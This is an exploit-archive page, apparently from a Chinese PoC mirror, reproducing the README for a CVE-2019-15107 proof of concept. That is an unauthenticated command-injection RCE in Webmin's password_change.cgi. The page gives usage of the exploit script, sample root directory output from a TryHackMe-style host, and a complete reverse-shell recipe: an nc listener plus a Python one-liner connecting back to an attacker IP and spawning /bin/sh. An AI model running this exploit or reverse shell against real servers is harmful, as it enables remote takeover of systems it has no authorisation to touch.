Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1020 CNY

100%

CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Webmin 命令操作系统命令注入漏洞 (CVE-2019-15107)
Description:An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
Readme
# CVE-2019-15107

### Webmin unauthenticated RCE

https://www.rapid7.com/db/vulnerabilities/http-webmin-cve-2019-15107/

Usage
```

python3 CVE-2019-15107.py <URL> <COMMAND>

```

Example
```

python3 CVE-2019-15107.py https://source.thm:10000 "ls -lah /root"

```

Output

```
total 36K
drwxr-xr-x 24 root root 4.0K Jun 26  2020 ..
-rw-------  1 root root   44 Jun 26  2020 .bash_history
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
drwx------  3 root root 4.0K Jun 26  2020 .gnupg
drwxr-xr-x  3 root root 4.0K Jun 26  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Jun 26  2020 .ssh
-rw-r--r--  1 root root   25 Jun 26  2020 root.txt
```

#### Obtain a reverse shell
Listener

```

nc -lnvp <PORT>

```

Shell
```

python3 CVE-2019-15107.py https://source.thm:10000 "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<YOUR_IP>\",<PORT>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/sh\")'"

```
File Snapshot

[4.0K] /data/pocs/5cadd02a7596760c69cb2071074f309b8728603b ├── [1.3K] CVE-2019-15107.py └── [ 973] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →